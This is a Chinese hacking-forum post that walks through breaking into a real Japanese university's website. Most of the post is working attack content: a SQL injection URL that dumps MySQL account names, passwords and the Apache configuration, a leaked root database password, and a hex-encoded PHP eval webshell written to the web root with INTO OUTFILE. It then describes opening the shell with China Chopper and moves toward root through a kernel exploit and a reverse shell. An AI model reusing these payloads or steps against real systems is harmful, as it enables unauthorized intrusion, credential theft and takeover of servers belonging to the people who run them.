找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2446|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析: v# Y) b0 K, j2 o

' [& n- V( X) e; C+ q( `http://www.doshisha.ac.jp/chs/news/index.php?i=-1
* x0 }8 W1 L: D) Z9 T然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
8 i  O7 m  W9 \4 M1 n  Y! I1 ^( b5 h, a3 o3 H1 _7 z; o
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
# b, ~- r* }9 Y, r$ _9 `5 `# l1 x
/ A/ d- u4 S. i- N
% @" `; {/ H/ k3 ^. O8 y' r# P* a  s) L  |" x4 i* x1 B
//@@datadir为数据库文件路径
, e/ y0 M; B/ V ' [3 y2 n. _' `. U5 A
4 [0 B' K6 H0 g) D
//load_file读取网站容器apache的配置文件 ( t$ f5 T& ~' I; x$ b
& o- Z' c. }* m$ `$ |
! y. Y5 h# O: u
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
! ?/ d6 p" n# c* Q! ?复制代码; K" T8 p  J% U

. K2 _; f4 L; q( K' H& S5 P虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。4 e9 ]" S1 q4 s& _5 ]) Q& ^5 ]

6 n" g. }% A! R3 m9 W3 x/ G而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。; I+ _8 n7 q. d2 y6 t
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)" Q5 J3 _" s( Y- |/ B: k& K
: \, }" Q  x+ N, T. P
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
1 D+ Z8 C4 t( x) X/ I如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
5 w' M/ c0 H: ?" t# e) }6 K- O% N! `7 t  V: h; L$ C
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
5 h8 Z; N4 f& r9 _+ Z虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
$ q# ^& N# q6 _6 o: k直接写一句话:" X$ {$ l; ]3 v/ x# i

2 z, a2 O+ f) c$ N) {/ Y7 k: nhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#7 G. u$ R8 G. s+ J/ r+ A8 S$ b

4 ?0 P8 N5 l5 I! L 3 L0 P/ X$ e& n) M- l. K
" {4 W) o9 R- v  R# l( T
//最后的#是为了闭合前面的语句 - x5 p- j" ]. |8 c
3 y0 I# y  T6 _: w" b7 A! M, z- M8 `

0 K' B0 c4 E6 s6 P; B/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E 0 Q! B. D& w  R$ _% u- N( F
  j! Y( R/ ?) c6 b) P

* ]& N% M& H0 V2 o为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
* a1 R$ E; m! }) d0 x* B , b; C: p, h* r% S" {( T1 }
9 r, W( _" J; I2 {
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 % w+ w) ]- |0 F+ P
) I$ g' s! z4 N! }# i! O
# G6 b8 k  Z: k, z  a4 c
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
9 F2 {  e0 h! Q7 q( ~: R//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
& v! Y- n' m( u1 O! [  G* k2 h复制代码6 S, p. D% G. S" n' n" L, {0 t

3 j9 S2 K& w2 r9 v4 VHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有) D4 T# ~& Q$ z9 r3 O; K
通过上述注入语句,我们就得到了一句话木马:/ g) J9 L4 T7 V0 }8 t
8 B- n2 O3 j6 v+ p4 X  Q4 B" h
/ [3 N% Y+ v3 B: H6 e2 q

- R' ~* ^& D* s, Z( F
. _/ u! C' j  `  H8 t- C
* w' u" z1 K% v5 j7 n1 Vhttp://www.doshisha.ac.jp/english/engnews_img/aa.php
! A$ f- y4 w# a; Z复制代码" z" X6 W1 H7 O6 Z. h& U9 G
$ P* e& {3 G8 K) T
用菜刀连接,密码是cmd,如图所示:, u% G: Y2 t4 v" ^
然后在命令提示行里看了一下,现在的权限是:5 x' ]( z" p- V" ^
7 G  g. b$ Y( P$ h. u
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
- ^) g' [; a+ F: G+ D' b* [好在赋权给这个文件夹不需要root,直接执行赋权语句:
2 z3 r8 t* T4 M# |4 a0 G  Z+ `7 c# B8 S0 o- q' w& s
) ^8 p) o% j( T2 ?/ K6 r. k+ ^( O* G
1 Y/ T( {: P9 O! A( d/ q7 l+ X( |
; g3 y$ ~. {8 i9 }9 ]
+ ^, s" a5 U2 W* B& s. ]  X8 B
chmod +x /tmp/
1 Y4 d' F, E! x2 {  C( n7 b" S复制代码
8 e" Q4 `+ B, v% Y) r* U& x
4 N- F3 J/ H  p" U8 g& d; s在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行9 T3 n0 c. K5 }) f7 u( C1 o, }  T
然后就查了一下内核版本:0 p2 z* z! X  q( O5 f
- n( I6 H0 a: W  z' w
$ z+ d5 E8 S+ F, z$ ]7 |) t
) e3 \7 q+ U9 X% V  {9 @/ v% Y

# U& W  j/ O4 W6 Z( u* z1 e/ x' C5 z  @, v/ Z% v# w
uname-a : g3 \. g7 B7 I) k3 k: t* Q9 m
$ j5 p+ D# N: l" c9 K7 @6 N8 @
; J9 c" B+ t! |( I+ t+ ^
//其实lsb_release -a
/ W0 m# Q" C" U0 x# ]: G$ e复制代码
( y: Z6 b5 o+ a9 T3 ?1 Q) a' ^9 a  L1 Y3 d7 l- M
如图所示:7 v6 L9 n* v& I" n) c7 M
4 S0 S) o0 V! j: a9 d* K2 C8 H1 j. [
内核版本:linux mainz1 2.6.28-194.e156 z2 d  Y7 v& ]! |) f- J- Q
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)5 A5 M- h; {  @9 E, A/ S) S
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
* V# k$ }; c+ n& C  X  t* d& X8 Z# Z' P; R+ L9 t
然后给予执行权限4 a& U9 S( c8 V+ y
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样# C4 d# q$ K: J6 F( {' ?, N

+ B: M* d# ]# _$ W0 J4 ~
9 T7 C+ }. T4 v& G8 p: p2 S3 _) I2 p4 B: o5 ?# W& |2 L

; R- i9 s0 L; Q1 Z
5 Z& U$ x  Z7 W  |7 t6 `7 `chmod +x /tmp/2.6.18-194 5 {# @. j+ `& C. i! V$ h' D( ^* x* {
复制代码 然后直接执行!~
7 v; \* e' v* }9 w( \0 P; }3 V/ \* [# X1 ?; v0 [
总结:* n& U0 l' ?! O! h; y+ x7 M
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了0 h' E1 B- q/ R9 Q
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root) K) B& `/ I$ \6 Y/ @& S

, Q5 T. Q4 c% K; i% _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表